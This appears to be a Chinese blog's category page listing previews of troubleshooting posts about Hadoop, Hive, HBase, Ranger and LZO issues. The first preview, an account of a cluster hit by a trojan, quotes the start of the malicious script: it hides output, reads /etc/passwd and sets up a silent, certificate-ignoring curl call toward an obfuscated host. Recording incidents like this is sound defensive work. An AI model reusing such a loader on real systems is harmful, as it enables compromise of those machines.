![](https://img-blog.csdnimg.cn/20201014180756925.png?x-oss-process=image/resize,m_fixed,h_64,w_64)
问题汇总
薛定谔的猫不吃猫粮
这个作者很懒,什么都没留下…
展开
-
记录一次集群被木马病毒攻击
木马脚本O1W2iZnBuRhYbZy5EhkdHYabZ2gaLFkjexec &>/dev/nullexport PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbind=$(grep x:$(id -u): /etc/passwd|cut -d: -f6) c=$(echo "curl -4fsSLkA- -m200")t=$(echo "fjuoqusekcob5av5rw原创 2021-12-24 18:00:18 · 707 阅读 · 0 评论 -
定位hdfs文件块异常和修复org.apache.hadoop.hdfs.CannotObtainBlockLengthException Cannot obtain block length for
hadoop定位hdfs文件块异常和修复org.apache.hadoop.hdfs.CannotObtainBlockLengthException: Cannot obtain block length for LocatedBlock一、问题重启hadoop集群之后,执行任务时发生异常异常信息 Error: java.io.IOException: org.apache.hadoop.hdfs.CannotObtainBlockLengthException: Cannot obtain bl原创 2021-11-25 13:35:10 · 1933 阅读 · 0 评论 -
分区修复失败的问题 FAILED: Execution Error, return code 1 from org.apache.hadoop.hive.ql.exec.DDLTask
分区修复失败的问题 FAILED: Execution Error, return code 1 from org.apache.hadoop.hive.ql.exec.DDLTask一、问题在把CDH集群上的数据迁移到apache集群上时,遇到错误,记录一下。1.脚本执行的时候报错INFO : Compiling command(queryId=hadoop_20211123141935_050bb456-601d-4f8d-bb3c-0b274461b4f8): msck repair tab原创 2021-11-23 14:49:02 · 4851 阅读 · 1 评论 -
解决 Error: java.io.EOFException: Premature EOF from inputStream 问题
解决 Error: java.io.EOFException: Premature EOF from inputStream 问题一、问题1.问题过程在日志解析任务过程中,突发报错,任务一直都很稳定,怎么回突然报错了呢?心头一紧2.详细错误类型:查看日志发现如下错误21/11/18 14:36:29 INFO mapreduce.Job: Task Id : attempt_1628497295151_1290365_m_000002_2, Status : FAILEDError: java原创 2021-11-18 15:21:07 · 1840 阅读 · 0 评论 -
linux下查看lzo格式压缩文件的内容
linux下查看lzo格式压缩文件的内容1.安装lzop使用yum安装命令:yum install lzop[root@cm bin]# yum install lzopLoaded plugins: fastestmirror, securitySetting up Install ProcessDetermining fastest mirrorsepel/metalink原创 2021-07-01 16:11:50 · 536 阅读 · 0 评论 -
Ranger无法连接双主Mysql的问题 This function has none of DETERMINISTIC
解决Ranger无法连接双主Mysql的问题一、问题描述报错信息ERROR 1418 (HY000): This function has none of DETERMINISTIC, NO SQL, or READS SQL DATA in its declaration and binary logging is enabled (you *might* want to use the less safe log_bin_trust_function_creators variable)问题分原创 2021-06-24 16:31:30 · 167 阅读 · 0 评论 -
修改hbase日志路径
修改hbase日志路径为了方便大数据集群日志管理,需要修改hbase日志路径1.错误示范找到配置文件:log4j.properties修改HBase日志路径vim log4j.properties 修改为hbase.log.dir=/var/log/hbase重启HBase集群什么???!!没有生效2.正确修改查阅官方配置发现需要修改hbase-env.shvim hbase-env.sh相关内容修改为export HBASE_LOG_DIR=/var/log/hbase原创 2021-06-17 16:08:05 · 867 阅读 · 0 评论 -
解决HBase整合Hive时一直连接地址为localhost2181的zookeeper的问题
解决HBase整合Hive时一直连接地址为localhost:2181的zookeeper的问题问题描述我在搭建HBase集群整合hive的时候,hive一直连接本地的zookeeper,而不是连接HBase集群中配置的zk地址1.HBase起初以为HBase中hbase-env.sh 这个配置没有生效,export HBASE_MANAGES_ZK=false反复检查了配置,应该是没有问题2.Hive检查hive中的zookeeper,也是没有问题的。最后发现hbase.zookee原创 2021-05-31 14:51:13 · 1808 阅读 · 0 评论 -
解决hadoop高可用使用start-dfs.sh脚本启动时namenode启动不了的问题
解决hadoop高可用,脚本启动时namenode启动不了的问题在通过使用hadoop提供的脚本 sbin/start-dfs.sh 启动hdfs时,经常发现高可用的namenode之启动了一个查看错误日志发现STARTUP_MSG: Starting NameNodeSTARTUP_MSG: host = hdp14/192.168.204.14STARTUP_MSG: args = []STARTUP_MSG: version = 3.1.4STARTUP_MSG: cla原创 2021-05-13 16:57:49 · 2828 阅读 · 0 评论 -
解决hadoop执行MapReduce程序时Ha和yarn的冲突 YarnRuntimeException: java.lang.NullPointerException
解决hadoop执行MapReduce程序时Ha和yarn的冲突错误信息:YarnRuntimeException: java.lang.NullPointerException在hadoop高可用环境下执行MR程序报如下错误:2020-04-09 22:56:58,827 ERROR [Listener at 0.0.0.0/45871] org.apache.hadoop.mapreduce.v2.app.MRAppMaster: Error starting MRAppMasterorg.ap原创 2021-05-13 15:25:20 · 1011 阅读 · 1 评论 -
Lzo报错
21-04-2021 00:17:18 CST hdfs_to_ods_log INFO - Beeline version 1.1.0-cdh5.8.5 by Apache Hive21-04-2021 00:17:18 CST hdfs_to_ods_log INFO - Closing: 0: jdbc:hive2://xxxxxx:10000/21-04-2021 00:17:18 CST hdfs_to_ods_log INFO - 21/04/21 00:17:18 INFO lzo.GPL原创 2021-04-21 10:34:48 · 301 阅读 · 1 评论